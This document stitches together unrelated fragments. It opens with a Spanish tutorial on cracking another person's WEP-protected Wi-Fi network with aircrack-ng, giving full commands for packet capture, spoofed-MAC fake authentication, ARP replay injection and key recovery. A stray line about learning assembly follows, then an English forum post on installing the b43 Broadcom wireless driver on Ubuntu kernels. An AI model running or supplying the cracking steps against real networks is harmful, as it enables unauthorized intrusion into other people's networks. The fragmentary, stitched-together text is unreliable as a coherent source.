Empezamos: Antes de nada tenemos que asegurarnos de que nuestro nucleo tiene compatibilidad con nuestro dispositivo wifi, para saber que nucleo tenemos abrimos un terminal y ejecutamos

$ uname -a

Esto nos dara la info de nuestro equipo. En el caso de que no funcione nuestra tarjeta wifi tendremos que mirar por internet a ver qué chip tiene e instalar el driver adecuado.

Una vez vemos que nuestro equipo es capaz de conectar a una red wifi conocida continuaremos. Tras haber configurado la red wifi debemos saber qué interface tiene:

$ iwconfig

De la lista que sale buscamos la interfaz que corresponda al wifi. (puedes usar también el comando ifconfig -a) A partir de aqui supongo que se llama "eth1".

Ahora bajarmos Aircrack y lo compilamos. Antes de descargarlo hay que instalar sus dependencias:

# apt-get install build-essential

despues a compilar:

$ wget http://download.aircrack-ng.org/aircrack-ng-1.0-rc1.tar.gz
$ tar -zxvf aircrack-ng-1.0-rc1.tar.gz
$ cd aircrack-ng-1.0-rc1
$ make
$ sudo make install



2º) Cómo usar Aircrack

Una vez tenemos en nuestras manos este programita ya podemos empezar...
Abrimos un terminal de comandos, lo recomendable es operar en él como root para que no tengamos que ir poniendo "sudo" antes de cada cada orden, esto se hace con el comando:

$ sudo su

Lo primero es ver las redes wifi a las que tenemos acceso:

# airodump-ng eth1

Consejos:
- Sustituye "eth1" por la interface de tu tarjeta wireless (mira cuál es con el comando iwconfig).
- Si te da un error del tipo "resource busy" significa que estás conectado a otra red wifi. Para que funcione simplemente desconectate de la red.

Una vez hecho esto nos sacara algo asi:

CH 14 ][ Elapsed: 1 min ][ 2008-11-26 19:28

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:00:00:00:00:00 4 43 0 0 11 54. WEP WEP josewifi
11:11:11:11:11:11 64 8 0 14 54. WEP WEP juan

BSSID STATION PWR Rate Lost Packets Probes a

En este caso tenemos 2 redes a elegir, nos fijamos en la red 'josewifi' con una MAC de 00:00:00:00:00:00 en el canal CH 11. Suponiendo que este es nuestro objetivo nos fijamos en que tenga modo de encriptacion WEP.

Consejos:
- Para que airodump deje de actualizar los datos pulsa "Cntrol+C".
- Puedes hacer búsquedas más detalladas usando las opciones que aparecen al ejecutar "airodump --help"

Ahora que ya tenemos fijado un objetivo lo que vamos a hacer es capturar Data y Beacons para luego lanzar aircrack-ng y descifrar su clave WEP.

1- Lanzamos airodump-ng para que capture paquetes:

$ airodump-ng --channel 11 --bssid 00:00:00:00:00:00 -w captura eth1

Ahora lo dejamos corriendo durante todo el rato para que vaya capturando en el archivo "captura-01.cap", que guardará en la carpeta en la que estés trabajando (generalmente en tu carpeta de usuario).

2- (los pasos 2, 3 y 4 son opcionales) Nos vamos a identificar con la estacion para que nos permita inyectar trafico y asi tener más datos para sacar la contraseña antes.

# aireplay-ng -1 0 -a 00:00:00:00:00:00 -h 11:22:33:44:55:66 -e josewifi eth1

en la opcion -h ocultamos nuestra MAC con una introducida (inventada) por nosotros

Nos deberia decir: Association successful :-)

3- ARP-request replay. Abrimos otra consola y

# aireplay-ng -3 0 -a 00:00:00:00:00:00 -h 11:22:33:44:55:66 -e josewifi eth1

este tambien lo dejamos correr mientras que trabajamos.

4- Inyectar trafico. Este paso no funciona bien en todos los dispositivos wifi, dependiendo de los drivers y nucleo de nuestro equipo. Esto nos permitira acelerar notablemente el proceso de captura de paquetes.

# aireplay-ng -2 -a 00:00:00:00:00:00 -h 11:22:33:44:55:66 -r captura-01.cap eth1

5- Lanzar aircrack-ng para descifrar la contraseña:

# aircrack-ng -a 1 -e josewifi -b 00:00:00:00:00:00 captura-01.cap

El argumento "-a 1" indica que estamos descifrando una contraseña WEP, para descifrar una WAP deberiamos poner "-a 2".

Aircrack-ng tambien se debe dejar correr de fondo mientras se capturan paquetes porque ira intentando descifrar la clave segun vaya consiguiendo nuevos paquetes.

¡Y ya está! Una vez tengamos practica podremos crackear una contraseña WEP en unos 15 minutos.



C. Crackear contraseñas usando Aircrack y BackTrack
BackTrack

para mi no es recomenable tratar de aprender asm primero, ya que  vas a abandonar  el estudio por lo complicado que se vuelve.


para mi es mejor uno de medio nivel , que ves resultados a corto plazo, y no te complicas con la arquitectura de la computadora

2010-03-25: After testing distro to distro, I can finally conclude that b43 WILL WORK PERFECTLY in DMA mode with any Linux system running kernel 2.6.33. Is that great or what?

2010-02-24: Kernel 2.6.32-14.20-generic works with b43 on Karmic...finally:D[COLOR="Green] (thanks to mikeioannina for testing).[/COLOR]

2010-02-21: rlelliott has been kind enough to write a guide, based on his testing, on how to get the b43 driver working under Ubuntu 10.04 Lucid (daily image). The guide can be found here: http://docs.google.com/View?id=dhkq5635_11f3hjxdp6. Unfortunately, there's still no was to get the card working in Karmic besides using the 2.6.32-11-generic kernel.

2010-02-12: Works on SOME routers under kernel 2.6.32-12-generic and compat-wireless-2010-02-01. My router settings are: Region=US; Channel=11; Encryption=WPA2-PSK (AES).

2010-02-07: Not working under any kernel, except 2.6.32-11-generic, which does not exist under the Ubuntu Lucid alpha testing repo anymore.

2010-02-07: Changed links for 2.6.32-12.17-generic.

2010-02-03: Changed links for 2.6.32-12.16-generic; Untested.

2010-01-29: Working kernel: 2.6.32-11-generic; Working compat-wireless: compat-wireless-2010-01-24.

---

I have good new for everybody . B43 finally working without crashes and kernel panics AND it works perfectly with Aircrack-NG now! First of all, you will be using the ALPHA/BETA kernel from LUCID (10.04), which is kernel 2.6.32-14-generic. It is a DEVELOPMENT release, but works perfectly nonetheless.

So, here we go:

Before you even get the kernel, you should download and install the b43 device firmware. Make sure you have the package "git-core" installed then follow the instructions at this link: http://linuxwireless.org/en/users/Drivers/b43#fw-b43-lp. It's very easy to follow. They're copy and paste commands.

First of all, download and install the new kernel:

i386 (32 bit)
---------------
http://mirrors.kernel.org/ubuntu/poo...14.20_i386.deb
http://mirrors.kernel.org/ubuntu/poo...14.20_i386.deb
http://mirrors.kernel.org/ubuntu/poo...-14.20_all.deb


i386-PAE (32 bit with > 4 GB of RAM)
---------------------------------------------
http://mirrors.kernel.org/ubuntu/poo...14.20_i386.deb
http://mirrors.kernel.org/ubuntu/poo...14.20_i386.deb
http://mirrors.kernel.org/ubuntu/poo...-14.20_all.deb


amd64 (64 bit)
----------------
http://mirrors.kernel.org/ubuntu/poo...4.20_amd64.deb
http://mirrors.kernel.org/ubuntu/poo...4.20_amd64.deb
http://mirrors.kernel.org/ubuntu/poo...-14.20_all.deb

I like to download the packages to a new folder, and then run:

Code:

sudo dpkg -i linux*2.6.*.deb

in the folder.

Sooooo, after you download the new kernel, boot into it by choosing it from the GRUB boot menu.

Then, head on over here: http://linuxwireless.org/download/compat-wireless-2.6/ and download the latest compat-wireless-2010-**-**.tar.gz package to anywhere, preferably an easy to remember location. The package as of now is, compat-wireless-2010-01-26.tar.bz2. I will be using this version for the commands below. Adjust the commands below based on the file you downloaded.

Open up a Terminal and change to the directory you downloaded the file to:

Code:

cd /your/path/to/the/directory

Extract the file you downloaded:

Code:

tar jxvf compat-wireless-2010-01-26.tar.bz2

Change to the extracted directory:

Code:

cd compat-wireless-2010-01-26

Compile the drivers:

Code:

make

Install the drivers:

Code:

sudo make install

Unload the current drivers: (if you are using the Broadcom STA Driver, run "sudo rmmod wl" first)

Code:

sudo make unload

Refresh the drivers/modules for the current kernel:

Code:

sudo depmod
sudo depmod -a

Enable PIO mode:

Code:

echo "options b43 pio=1" | sudo tee -a "/etc/modprobe.d/b43-thingy.conf"

Remove the package "bcmwl-kernel-source." It's the easiest way to ensure that the b43 driver isn't blacklisted.

Blacklist the wl driver (STA driver):

Code:

echo "blacklist wl" | sudo tee "/etc/modprobe.d/wedontneednonossdrivers.conf"

Add b43 to /etc/modules so it will load at bootup:

Code:

echo "b43" | sudo tee -a "/etc/modules"

Then, reboot your computer and enjoy your wireless (or use ...ahem...aircrack-ng...ahem... and enjoy your wireless ).

I have no idea why "sudo modprobe b43" doesn't work after installation, but it doesn't.

--

If AFTER you reboot, you get errors in dmesg like:

Code:

[   11.788669] b43: Unknown symbol ssb_pcicore_dev_irqvecs_enable
[   11.789575] b43: disagrees about version of symbol ssb_bus_may_powerdown
[   11.789586] b43: Unknown symbol ssb_bus_may_powerdown
[   11.790340] b43: disagrees about version of symbol ssb_dma_free_consistent
[   11.790351] b43: Unknown symbol ssb_dma_free_consistent
[   11.792008] b43: disagrees about version of symbol ssb_bus_suspend
[   11.792020] b43: Unknown symbol ssb_bus_suspend
[   11.793154] b43: disagrees about version of symbol ssb_bus_unregister
[   11.793166] b43: Unknown symbol ssb_bus_unregister
[   11.795081] b43: disagrees about version of symbol ssb_bus_resume
[   11.795093] b43: Unknown symbol ssb_bus_resume
[   11.795509] b43: disagrees about version of symbol ssb_set_devtypedata
[   11.795520] b43: Unknown symbol ssb_set_devtypedata
[   11.796959] b43: disagrees about version of symbol ssb_device_disable
[   11.796972] b43: Unknown symbol ssb_device_disable
[   11.797411] b43: disagrees about version of symbol ssb_pmu_set_ldo_voltage
[   11.797422] b43: Unknown symbol ssb_pmu_set_ldo_voltage
[   11.798340] b43: disagrees about version of symbol ssb_dma_alloc_consistent
[   11.798350] b43: Unknown symbol ssb_dma_alloc_consistent
[   11.799029] b43: disagrees about version of symbol ssb_dma_set_mask
[   11.799042] b43: Unknown symbol ssb_dma_set_mask
[   11.801861] b43: disagrees about version of symbol ssb_device_enable
[   11.801874] b43: Unknown symbol ssb_device_enable
[   11.802820] b43: disagrees about version of symbol ssb_driver_unregister
[   11.802833] b43: Unknown symbol ssb_driver_unregister
[   11.804095] b43: disagrees about version of symbol __ssb_driver_register
[   11.804109] b43: Unknown symbol __ssb_driver_register
[   11.821841] b43: Unknown symbol ssb_bus_pcmciabus_register
[   11.822234] b43: disagrees about version of symbol ssb_bus_powerup
[   11.822243] b43: Unknown symbol ssb_bus_powerup
[   11.826522] b43: disagrees about version of symbol ssb_dma_translation
[   11.826535] b43: Unknown symbol ssb_dma_translation

then add these lines to /etc/rc.local (thanks to Muti for this information)

Code:

modprobe -r b43
sleep 3
modprobe b43